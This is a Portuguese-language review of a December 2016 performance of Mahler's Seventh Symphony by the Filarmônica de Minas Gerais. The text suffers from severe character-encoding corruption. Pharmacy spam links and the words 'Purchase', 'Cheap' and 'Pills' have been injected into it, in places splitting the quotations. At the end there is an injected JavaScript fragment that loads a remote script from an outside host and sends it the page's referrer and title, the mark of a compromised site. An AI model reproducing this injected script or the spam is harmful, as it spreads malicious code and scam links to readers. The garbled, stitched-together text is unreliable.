Escrito por em 22 dez 2016 nas áreas Crítica, Música sinfônica

Os musicA?logos a consideram formalmente menos coerente que as demais obras do compositor.

Sinceramente, pouco importa. Fato A� que ouvir, ao vivo, mA?sica como a 7A? Sinfonia de Gustav Mahler (1860a��1911) encerra em si uma experiA?ncia singular. Ali estA? presente todo o vocabulA?rio sentimental que nos faz reconhecer o universo mahleriano como um arquA�tipo da condiA�A?o humana a�� valsas e serenatas em meio a planos sonoros granA�ticos (A�s vezes dissonantes), contrastes sem prA�vio aviso, dualidades. Vida. Ou como bem ressalta Marc Vignal em seu livro Mahler Cheap : a�? http://www.bizexcellence.ro/purchase-risperdal-settlement/ cada estado de espA�rito espera o seu contrA?rioa�?.

A versA?o apresentada pelo maestro FA?bio Mechetti e pela FilarmA?nica de Minas Gerais, na excelente Sala Minas Gerais, foi uma atitude corajosa. Muitos mA?sicos nunca haviam tomado contato com esta SA�tima. Foi, pois, uma experiA?ncia muito acalentada pela orquestra. E isso foi transparente, visA�vel. Quando benquista, a mA?sica cintila, soa com um A�mpeto diferente.

Sem entrar em demasia nos pormenores dos 5 movimentos, talvez tenha faltado um pouco mais de graciosidade nas madeiras nos dois noturnos, principalmente nas evocaA�A�es da natureza. Ou, entA?o, um cuidado com as passagens solistas para trompa, que foram melhorando expressivamente ao longo da rA�cita. Ou, ainda, um andamento um pouquinho mais lento no final do RondA?, que permitisse ouvir sua beleza estrutural, alA�m da A?bvia excitaA�A?o de um grand finale em dA? maior.

Mas, sobre todos estes detalhes, perseverou uma orquestra motivada, com naipes extraordinariamente bem equilibrados. Sonoridade plasmada. EspetA?culo de rara arte e excelA?ncia tA�cnica. Mechetti, um regente experimentado nesse tipo de repertA?rio romA?ntico, regeu na a�?ponta da facaa�?. Extraiu as cores no detalhe, realA�ando os fraseados necessA?rios para tornar a mA?sica de Mahler rica em suas ironias e mudanA�as bruscas de temperamento.

Em suma, tocar bem uma obra deste porte nos conduz a uma deliciosa pergunta: qual serA? o limite desta jovem orquestra brasileira? Mesmo com a crise econA?mica impondo desafios, soube a FilarmA?nica de Minas nos legar uma temporada consistente. Isso promete se repetir em 2017, posto que jA? se trata de um equipamento artA�stico celebrado e interiorizado na dinA?mica cultural mineira.

De Minas para o Mundo, fechar este 2016 de tanto terror e intolerA?ncia com a mA?sica de homem que conheceu todas as valA?ncias da morte e da esperanA�a tem um sentido humanA�stico importante. Mahler se dizia apA?trida trA?s vezes: a�? Pills Como natural da BoA?mia, na A?ustria; como austrA�aco, na Alemanha; como judeu, no mundo inteiroa�?.

Mas ele disse ainda: a�?meu tempo hA? de chegara�?.

Chega mais, Mahler. Nunca precisamos tanto de sua mA?sica.

Purchase Obs: o resenhista assistiu A� rA�cita do dia 15 de dezembro. Purchase s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s); Cheap http://nomoneylaundering.net/where-to-buy-apcalis-sx/

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